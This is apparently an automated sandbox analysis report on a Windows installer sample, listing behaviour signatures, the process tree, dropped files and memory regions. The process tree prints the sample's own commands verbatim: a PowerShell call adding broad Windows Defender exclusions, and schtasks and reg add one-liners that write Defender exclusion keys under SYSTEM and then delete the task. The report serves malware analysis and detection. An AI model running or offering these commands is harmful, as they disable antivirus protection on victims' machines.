Analysis

  • max time kernel
    151s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/10/2026, 16:32

General

  • Target
    install.2.0.02.exe
  • Size 34.6MB
  • Sample261022-t16wqadx2x
  • SHA256 036c5f9c36cad41721c07c7a0ea059e78f196074df9c54f177f9736944a4e5ce
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4664
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1480
    • C:\Users\Public\ZuCTuo\vu30Va.exe
      "C:\Users\Public\ZuCTuo\vu30Va.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:3744
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZuCTuo\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:1196
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZuCTuo\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5676
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:1048
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5640
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:4120
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1664
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:3320
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4500
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:1216
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4288
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:6012
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:1228
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:1064
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2092
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5876
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2860
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:4376
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2164
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:5680
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2044
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZuCTuo" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3600
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZuCTuo" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2304
                        • C:\Users\Public\ZuCTuo\vu30Va.exe
                          "C:\Users\Public\ZuCTuo\vu30Va.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:5844
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3532
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4796
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4868
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1824
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1420
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2156
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5820

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 3be9bea7fe431da0c29eb224f4d292ffebec93b793d41693ecf9c37b8fcd0e17
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 e19ea05ea7f56806c0135e59ab4970caa77690d36215305a97fb39aec8a68d0f
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 968f4ef05d5597db660397cbad40f000e6f7bebae3f785049f9de4e34c344b25
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 31793cdf35a28c5bb575cd55b2871870e6c9eac367d764afbbc0c91b34251986
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_k1zybki4.vr4.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k1zybki4.vr4.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\ZuCTuo\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 5bcf13fb87181fc22fe699a135c3d693226ecb129b47ddedd011e511ec741533
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\ZuCTuo\adoresd.dat
                                • Size 4.8MB
                                • SHA256 0d634782627ec96a6255adce5790dabf98639d135b2adb2eeb2ab8f810cabe06
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\ZuCTuo\msadox.tb
                                • Size 8KB
                                • SHA256 8c896ad4f8c3824f63a01044f008c6be53899e02864773fd708f99a4d40e9236
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                vu30Va.exe

                                • Path C:\Users\Public\ZuCTuo\vu30Va.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/3744-608-0x00000252DC0E0000-0x00000252DC0FE000-memory.dmp

                                memory/3744-609-0x00000252DC100000-0x00000252DC1B2000-memory.dmp

                                memory/3744-610-0x00000252DC4D0000-0x00000252DC4DA000-memory.dmp

                                memory/3744-602-0x00000252DC080000-0x00000252DC0A2000-memory.dmp

                                memory/4664-0-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/4664-527-0x00007FF98AF90000-0x00007FF98AFA2000-memory.dmp

                                memory/4664-526-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/4664-504-0x00007FF98AF90000-0x00007FF98AFA2000-memory.dmp

                                memory/4664-2-0x0000000002050000-0x000000000205C000-memory.dmp

                                memory/4664-1-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/4964-563-0x00000251A0A20000-0x00000251A0AAA000-memory.dmp

                                memory/4964-540-0x00007FF99B0A0000-0x00007FF99B0A2000-memory.dmp

                                memory/4964-562-0x00000251A0A20000-0x00000251A0AAA000-memory.dmp

                                memory/4964-552-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-561-0x00000251A0A20000-0x00000251A0AAA000-memory.dmp

                                memory/4964-560-0x000002519F240000-0x000002519F28E000-memory.dmp

                                memory/4964-558-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-566-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-568-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-546-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-532-0x00007FF99B090000-0x00007FF99B092000-memory.dmp

                                memory/4964-548-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-547-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-564-0x00000251A0A20000-0x00000251A0AAA000-memory.dmp

                                memory/4964-533-0x00007FF97C180000-0x00007FF97C69E000-memory.dmp

                                memory/4964-538-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-541-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-604-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/4964-545-0x000002519FC40000-0x00000251A0517000-memory.dmp

                                memory/5844-593-0x00000278A6060000-0x00000278A6937000-memory.dmp

                                memory/5844-592-0x00000278A6060000-0x00000278A6937000-memory.dmp

                                memory/5844-591-0x00000278A6060000-0x00000278A6937000-memory.dmp

                                memory/5844-594-0x00007FF99B090000-0x00007FF99B092000-memory.dmp

                                memory/5844-590-0x00000278A6060000-0x00000278A6937000-memory.dmp

                                memory/5844-586-0x00000278A6060000-0x00000278A6937000-memory.dmp

                                memory/5844-585-0x00007FF99B0A0000-0x00007FF99B0A2000-memory.dmp

                                memory/5844-582-0x00000278A6060000-0x00000278A6937000-memory.dmp

                                memory/5844-578-0x00007FF97C180000-0x00007FF97C69E000-memory.dmp